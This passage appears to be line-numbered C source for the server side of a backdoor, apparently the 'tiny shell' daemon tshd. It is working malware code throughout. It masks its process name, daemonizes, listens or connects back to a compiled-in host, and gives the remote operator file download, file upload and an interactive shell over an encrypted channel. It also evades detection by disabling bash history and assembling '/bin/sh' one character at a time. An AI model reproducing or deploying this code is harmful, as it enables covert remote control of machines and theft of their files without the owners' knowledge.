strcpy(argv[0], FAKE_PROC_NAME); 75 | 76 | /* fork into background */ 77 | 78 | pid = fork(); 79 | 80 | if( pid < 0 ) 81 | { 82 | return( 1 ); 83 | } 84 | 85 | if( pid != 0 ) 86 | { 87 | return( 0 ); 88 | } 89 | 90 | /* create a new session */ 91 | 92 | if( setsid() < 0 ) 93 | { 94 | return( 2 ); 95 | } 96 | 97 | /* close all file descriptors */ 98 | 99 | for( n = 0; n < 1024; n++ ) 100 | { 101 | close( n ); 102 | } 103 | 104 | #ifndef CONNECT_BACK_HOST 105 | 106 | /* create a socket */ 107 | 108 | server = socket( AF_INET, SOCK_STREAM, 0 ); 109 | 110 | if( server < 0 ) 111 | { 112 | return( 3 ); 113 | } 114 | 115 | /* bind the server on the port the client will connect to */ 116 | 117 | n = 1; 118 | 119 | ret = setsockopt( server, SOL_SOCKET, SO_REUSEADDR, 120 | (void *) &n, sizeof( n ) ); 121 | 122 | if( ret < 0 ) 123 | { 124 | return( 4 ); 125 | } 126 | 127 | server_addr.sin_family = AF_INET; 128 | server_addr.sin_port = htons( SERVER_PORT ); 129 | server_addr.sin_addr.s_addr = INADDR_ANY; 130 | 131 | ret = bind( server, (struct sockaddr *) &server_addr, 132 | sizeof( server_addr ) ); 133 | 134 | if( ret < 0 ) 135 | { 136 | return( 5 ); 137 | } 138 | 139 | if( listen( server, 5 ) < 0 ) 140 | { 141 | return( 6 ); 142 | } 143 | 144 | while( 1 ) 145 | { 146 | /* wait for inboud connections */ 147 | 148 | n = sizeof( client_addr ); 149 | 150 | client = accept( server, (struct sockaddr *) 151 | &client_addr, &n ); 152 | 153 | if( client < 0 ) 154 | { 155 | return( 7 ); 156 | } 157 | 158 | #else 159 | 160 | while( 1 ) 161 | { 162 | sleep( CONNECT_BACK_DELAY ); 163 | 164 | /* create a socket */ 165 | 166 | client = socket( AF_INET, SOCK_STREAM, 0 ); 167 | 168 | if( client < 0 ) 169 | { 170 | continue; 171 | } 172 | 173 | /* resolve the client hostname */ 174 | 175 | client_host = gethostbyname( CONNECT_BACK_HOST ); 176 | 177 | if( client_host == NULL ) 178 | { 179 | continue; 180 | } 181 | 182 | memcpy( (void *) &client_addr.sin_addr, 183 | (void *) client_host->h_addr, 184 | client_host->h_length ); 185 | 186 | client_addr.sin_family = AF_INET; 187 | client_addr.sin_port = htons( SERVER_PORT ); 188 | 189 | /* try to connect back to the client */ 190 | 191 | ret = connect( client, (struct sockaddr *) &client_addr, 192 | sizeof( client_addr ) ); 193 | 194 | if( ret < 0 ) 195 | { 196 | close( client ); 197 | continue; 198 | } 199 | 200 | #endif 201 | 202 | /* fork a child to handle the connection */ 203 | 204 | pid = fork(); 205 | 206 | if( pid < 0 ) 207 | { 208 | close( client ); 209 | continue; 210 | } 211 | 212 | if( pid != 0 ) 213 | { 214 | waitpid( pid, NULL, 0 ); 215 | close( client ); 216 | continue; 217 | } 218 | 219 | #ifndef CONNECT_BACK_HOST 220 | 221 | /* child doesn't need the server socket */ 222 | 223 | close( server ); 224 | 225 | #endif 226 | 227 | /* the child forks and then exits so that the grand-child's 228 | * father becomes init (this to avoid becoming a zombie) */ 229 | 230 | pid = fork(); 231 | 232 | if( pid < 0 ) 233 | { 234 | return( 8 ); 235 | } 236 | 237 | if( pid != 0 ) 238 | { 239 | return( 9 ); 240 | } 241 | 242 | /* setup the packet encryption layer */ 243 | 244 | alarm( 3 ); 245 | 246 | ret = pel_server_init( client, secret ); 247 | 248 | if( ret != PEL_SUCCESS ) 249 | { 250 | shutdown( client, 2 ); 251 | return( 10 ); 252 | } 253 | 254 | alarm( 0 ); 255 | 256 | /* get the action requested by the client */ 257 | 258 | ret = pel_recv_msg( client, message, &len ); 259 | 260 | if( ret != PEL_SUCCESS || len != 1 ) 261 | { 262 | shutdown( client, 2 ); 263 | return( 11 ); 264 | } 265 | 266 | /* howdy */ 267 | 268 | switch( message[0] ) 269 | { 270 | case GET_FILE: 271 | 272 | ret = tshd_get_file( client ); 273 | break; 274 | 275 | case PUT_FILE: 276 | 277 | ret = tshd_put_file( client ); 278 | break; 279 | 280 | case RUNSHELL: 281 | 282 | ret = tshd_runshell( client ); 283 | break; 284 | 285 | default: 286 | 287 | ret = 12; 288 | break; 289 | } 290 | 291 | shutdown( client, 2 ); 292 | return( ret ); 293 | } 294 | 295 | /* not reached */ 296 | 297 | return( 13 ); 298 | } 299 | 300 | int tshd_get_file( int client ) 301 | { 302 | int ret, len, fd; 303 | 304 | /* get the filename */ 305 | 306 | ret = pel_recv_msg( client, message, &len ); 307 | 308 | if( ret != PEL_SUCCESS ) 309 | { 310 | return( 14 ); 311 | } 312 | 313 | message[len] = '\0'; 314 | 315 | /* open local file */ 316 | 317 | fd = open( (char *) message, O_RDONLY ); 318 | 319 | if( fd < 0 ) 320 | { 321 | return( 15 ); 322 | } 323 | 324 | /* send the data */ 325 | 326 | while( 1 ) 327 | { 328 | len = read( fd, message, BUFSIZE ); 329 | 330 | if( len == 0 ) break; 331 | 332 | if( len < 0 ) 333 | { 334 | return( 16 ); 335 | } 336 | 337 | ret = pel_send_msg( client, message, len ); 338 | 339 | if( ret != PEL_SUCCESS ) 340 | { 341 | return( 17 ); 342 | } 343 | } 344 | 345 | return( 18 ); 346 | } 347 | 348 | int tshd_put_file( int client ) 349 | { 350 | int ret, len, fd; 351 | 352 | /* get the filename */ 353 | 354 | ret = pel_recv_msg( client, message, &len ); 355 | 356 | if( ret != PEL_SUCCESS ) 357 | { 358 | return( 19 ); 359 | } 360 | 361 | message[len] = '\0'; 362 | 363 | /* create local file */ 364 | 365 | fd = creat( (char *) message, 0644 ); 366 | 367 | if( fd < 0 ) 368 | { 369 | return( 20 ); 370 | } 371 | 372 | /* fetch the data */ 373 | 374 | while( 1 ) 375 | { 376 | ret = pel_recv_msg( client, message, &len ); 377 | 378 | if( ret != PEL_SUCCESS ) 379 | { 380 | if( pel_errno == PEL_CONN_CLOSED ) 381 | { 382 | break; 383 | } 384 | 385 | return( 21 ); 386 | } 387 | 388 | if( write( fd, message, len ) != len ) 389 | { 390 | return( 22 ); 391 | } 392 | } 393 | 394 | return( 23 ); 395 | } 396 | 397 | int tshd_runshell( int client ) 398 | { 399 | fd_set rd; 400 | struct winsize ws; 401 | char *slave, *temp, *shell; 402 | int ret, len, pid, pty, tty, n; 403 | 404 | /* request a pseudo-terminal */ 405 | 406 | #if defined LINUX || defined FREEBSD || defined OPENBSD || defined OSF 407 | 408 | if( openpty( &pty, &tty, NULL, NULL, NULL ) < 0 ) 409 | { 410 | return( 24 ); 411 | } 412 | 413 | slave = ttyname( tty ); 414 | 415 | if( slave == NULL ) 416 | { 417 | return( 25 ); 418 | } 419 | 420 | #else 421 | #if defined IRIX 422 | 423 | slave = _getpty( &pty, O_RDWR, 0622, 0 ); 424 | 425 | if( slave == NULL ) 426 | { 427 | return( 26 ); 428 | } 429 | 430 | tty = open( slave, O_RDWR | O_NOCTTY ); 431 | 432 | if( tty < 0 ) 433 | { 434 | return( 27 ); 435 | } 436 | 437 | #else 438 | #if defined CYGWIN || defined SUNOS || defined HPUX 439 | 440 | pty = open( "/dev/ptmx", O_RDWR | O_NOCTTY ); 441 | 442 | if( pty < 0 ) 443 | { 444 | return( 28 ); 445 | } 446 | 447 | if( grantpt( pty ) < 0 ) 448 | { 449 | return( 29 ); 450 | } 451 | 452 | if( unlockpt( pty ) < 0 ) 453 | { 454 | return( 30 ); 455 | } 456 | 457 | slave = ptsname( pty ); 458 | 459 | if( slave == NULL ) 460 | { 461 | return( 31 ); 462 | } 463 | 464 | tty = open( slave, O_RDWR | O_NOCTTY ); 465 | 466 | if( tty < 0 ) 467 | { 468 | return( 32 ); 469 | } 470 | 471 | #if defined SUNOS || defined HPUX 472 | 473 | if( ioctl( tty, I_PUSH, "ptem" ) < 0 ) 474 | { 475 | return( 33 ); 476 | } 477 | 478 | if( ioctl( tty, I_PUSH, "ldterm" ) < 0 ) 479 | { 480 | return( 34 ); 481 | } 482 | 483 | #if defined SUNOS 484 | 485 | if( ioctl( tty, I_PUSH, "ttcompat" ) < 0 ) 486 | { 487 | return( 35 ); 488 | } 489 | 490 | #endif 491 | #endif 492 | #endif 493 | #endif 494 | #endif 495 | 496 | /* just in case bash is run, kill the history file */ 497 | 498 | temp = (char *) malloc( 10 ); 499 | 500 | if( temp == NULL ) 501 | { 502 | return( 36 ); 503 | } 504 | 505 | temp[0] = 'H'; temp[5] = 'I'; 506 | temp[1] = 'I'; temp[6] = 'L'; 507 | temp[2] = 'S'; temp[7] = 'E'; 508 | temp[3] = 'T'; temp[8] = '='; 509 | temp[4] = 'F'; temp[9] = '\0'; 510 | 511 | putenv( temp ); 512 | 513 | /* get the TERM environment variable */ 514 | 515 | ret = pel_recv_msg( client, message, &len ); 516 | 517 | if( ret != PEL_SUCCESS ) 518 | { 519 | return( 37 ); 520 | } 521 | 522 | message[len] = '\0'; 523 | 524 | temp = (char *) malloc( len + 6 ); 525 | 526 | if( temp == NULL ) 527 | { 528 | return( 38 ); 529 | } 530 | 531 | temp[0] = 'T'; temp[3] = 'M'; 532 | temp[1] = 'E'; temp[4] = '='; 533 | temp[2] = 'R'; 534 | 535 | strncpy( temp + 5, (char *) message, len + 1 ); 536 | 537 | putenv( temp ); 538 | 539 | /* get the window size */ 540 | 541 | ret = pel_recv_msg( client, message, &len ); 542 | 543 | if( ret != PEL_SUCCESS || len != 4 ) 544 | { 545 | return( 39 ); 546 | } 547 | 548 | ws.ws_row = ( (int) message[0] << 8 ) + (int) message[1]; 549 | ws.ws_col = ( (int) message[2] << 8 ) + (int) message[3]; 550 | 551 | ws.ws_xpixel = 0; 552 | ws.ws_ypixel = 0; 553 | 554 | if( ioctl( pty, TIOCSWINSZ, &ws ) < 0 ) 555 | { 556 | return( 40 ); 557 | } 558 | 559 | /* get the system command */ 560 | 561 | ret = pel_recv_msg( client, message, &len ); 562 | 563 | if( ret != PEL_SUCCESS ) 564 | { 565 | return( 41 ); 566 | } 567 | 568 | message[len] = '\0'; 569 | 570 | temp = (char *) malloc( len + 1 ); 571 | 572 | if( temp == NULL ) 573 | { 574 | return( 42 ); 575 | } 576 | 577 | strncpy( temp, (char *) message, len + 1 ); 578 | 579 | /* fork to spawn a shell */ 580 | 581 | pid = fork(); 582 | 583 | if( pid < 0 ) 584 | { 585 | return( 43 ); 586 | } 587 | 588 | if( pid == 0 ) 589 | { 590 | /* close the client socket and the pty (master side) */ 591 | 592 | close( client ); 593 | close( pty ); 594 | 595 | /* create a new session */ 596 | 597 | if( setsid() < 0 ) 598 | { 599 | return( 44 ); 600 | } 601 | 602 | /* set controlling tty, to have job control */ 603 | 604 | #if defined LINUX || defined FREEBSD || defined OPENBSD || defined OSF 605 | 606 | if( ioctl( tty, TIOCSCTTY, NULL ) < 0 ) 607 | { 608 | return( 45 ); 609 | } 610 | 611 | #else 612 | #if defined CYGWIN || defined SUNOS || defined IRIX || defined HPUX 613 | 614 | { 615 | int fd; 616 | 617 | fd = open( slave, O_RDWR ); 618 | 619 | if( fd < 0 ) 620 | { 621 | return( 46 ); 622 | } 623 | 624 | close( tty ); 625 | 626 | tty = fd; 627 | } 628 | 629 | #endif 630 | #endif 631 | 632 | /* tty becomes stdin, stdout, stderr */ 633 | 634 | dup2( tty, 0 ); 635 | dup2( tty, 1 ); 636 | dup2( tty, 2 ); 637 | 638 | if( tty > 2 ) 639 | { 640 | close( tty ); 641 | } 642 | 643 | /* fire up the shell */ 644 | 645 | shell = (char *) malloc( 8 ); 646 | 647 | if( shell == NULL ) 648 | { 649 | return( 47 ); 650 | } 651 | 652 | shell[0] = '/'; shell[4] = '/'; 653 | shell[1] = 'b'; shell[5] = 's'; 654 | shell[2] = 'i'; shell[6] = 'h'; 655 | shell[3] = 'n'; shell[7] = '\0'; 656 | 657 | execl( shell, shell + 5, "-c", temp, (char *) 0 ); 658 | 659 | /* d0h, this shouldn't happen */ 660 | 661 | return( 48 ); 662 | } 663 | else 664 | { 665 | /* tty (slave side) not needed anymore */ 666 | 667 | close( tty ); 668 | 669 | /* let's forward the data back and forth */ 670 | 671 | while( 1 ) 672 | { 673 | FD_ZERO( &rd ); 674 | FD_SET( client, &rd ); 675 | FD_SET( pty, &rd ); 676 | 677 | n = ( pty > client ) ? pty : client; 678 | 679 | if( select( n + 1, &rd, NULL, NULL, NULL ) < 0 ) 680 | { 681 | return( 49 ); 682 | } 683 | 684 | if( FD_ISSET( client, &rd ) ) 685 | { 686 | ret = pel_recv_msg( client, message, &len ); 687 | 688 | if( ret != PEL_SUCCESS ) 689 | { 690 | return( 50 ); 691 | } 692 | 693 | if( write( pty, message, len ) != len ) 694 | { 695 | return( 51 ); 696 | } 697 | } 698 | 699 | if( FD_ISSET( pty, &rd ) ) 700 | { 701 | len = read( pty, message, BUFSIZE ); 702 | 703 | if( len == 0 ) break; 704 | 705 | if( len < 0 ) 706 | { 707 | return( 52 ); 708 | } 709 | 710 | ret = pel_send_msg( client, message, len ); 711 | 712 | if( ret != PEL_SUCCESS ) 713 | { 714 | return( 53 ); 715 | } 716 | } 717 | } 718 | 719 | return( 54 ); 720 | } 721 | 722 | /* not reached */ 723 | 724 | return( 55 ); 725 | } 726 | --------------------------------------------------------------------------------